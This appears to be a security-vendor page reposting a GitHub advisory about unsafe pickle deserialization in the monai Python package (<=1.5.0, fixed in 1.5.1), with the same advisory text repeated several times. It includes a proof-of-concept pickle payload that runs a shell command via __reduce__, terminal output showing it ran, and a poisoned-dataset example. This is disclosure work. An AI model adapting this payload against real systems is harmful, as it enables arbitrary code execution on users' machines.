>To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. When verified using the following proof-of-concept, arbitrary code execution can occur. ``` #Poc from monai.data.utils import pickle_operations import pickle import subprocess class MaliciousPayload: def __reduce__(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) malicious_data = pickle.dumps(MaliciousPayload()) attack_data = { 'image': 'normal_image_data', 'label_transforms': malicious_data, 'metadata_transforms': malicious_data } result = pickle_operations(attack_data, is_encode=False) ``` ``` #My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid ``` Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. ``` #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid ``` The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. ``` malicious_data = { 'image': normal_image_tensor, 'label': normal_label_tensor, 'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points } dataset = [malicious_data, ...] ``` When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations. ``` from monai.data import list_data_collate dataloader = DataLoader( dataset, batch_size=4, collate_fn=list_data_collate # Trigger the vulnerability ) # Automatically execute malicious code while traversing the data for batch in dataloader: # Malicious code is executed in pickle_operations pass ``` When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered. ### Impact Arbitrary code execution ### Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.
>To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. When verified using the following proof-of-concept, arbitrary code execution can occur. ``` #Poc from monai.data.utils import pickle_operations import pickle import subprocess class MaliciousPayload: def __reduce__(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) malicious_data = pickle.dumps(MaliciousPayload()) attack_data = { 'image': 'normal_image_data', 'label_transforms': malicious_data, 'metadata_transforms': malicious_data } result = pickle_operations(attack_data, is_encode=False) ``` ``` #My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid ``` Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. ``` #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid ``` The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. ``` malicious_data = { 'image': normal_image_tensor, 'label': normal_label_tensor, 'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points } dataset = [malicious_data, ...] ``` When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations. ``` from monai.data import list_data_collate dataloader = DataLoader( dataset, batch_size=4, collate_fn=list_data_collate # Trigger the vulnerability ) # Automatically execute malicious code while traversing the data for batch in dataloader: # Malicious code is executed in pickle_operations pass ``` When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered. ### Impact Arbitrary code execution ### Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.
Update monai to 1.5.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanMonai: Unsafe use of Pickle deserialization may lead to RCE affects monai (pip). Severity is high. >To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. When verified using the following proof-of-concept, arbitrary code execution can occur. ``` #Poc from monai.data.utils import pickle_operations import pickle import subprocess class MaliciousPayload: def __reduce__(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) malicious_data = pickle.dumps(MaliciousPayload()) attack_data = { 'image': 'normal_image_data', 'label_transforms': malicious_data, 'metadata_transforms': malicious_data } result = pickle_operations(attack_data, is_encode=False) ``` ``` #My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid ``` Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. ``` #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid ``` The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. ``` malicious_data = { 'image': normal_image_tensor, 'label': normal_label_tensor, 'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points } dataset = [malicious_data, ...] ``` When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations. ``` from monai.data import list_data_collate dataloader = DataLoader( dataset, batch_size=4, collate_fn=list_data_collate # Trigger the vulnerability ) # Automatically execute malicious code while traversing the data for batch in dataloader: # Malicious code is executed in pickle_operations pass ``` When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered. ### Impact Arbitrary code execution ### Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| monaipip | <=1.5.0 | 1.5.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate monai to 1.5.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanMonai: Unsafe use of Pickle deserialization may lead to RCE affects monai (pip). Severity is high. >To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. When verified using the following proof-of-concept, arbitrary code execution can occur. ``` #Poc from monai.data.utils import pickle_operations import pickle import subprocess class MaliciousPayload: def __reduce__(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) malicious_data = pickle.dumps(MaliciousPayload()) attack_data = { 'image': 'normal_image_data', 'label_transforms': malicious_data, 'metadata_transforms': malicious_data } result = pickle_operations(attack_data, is_encode=False) ``` ``` #My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid ``` Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. ``` #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid ``` The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. ``` malicious_data = { 'image': normal_image_tensor, 'label': normal_label_tensor, 'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points } dataset = [malicious_data, ...] ``` When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations. ``` from monai.data import list_data_collate dataloader = DataLoader( dataset, batch_size=4, collate_fn=list_data_collate # Trigger the vulnerability ) # Automatically execute malicious code while traversing the data for batch in dataloader: # Malicious code is executed in pickle_operations pass ``` When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered. ### Impact Arbitrary code execution ### Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| monaipip | <=1.5.0 | 1.5.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard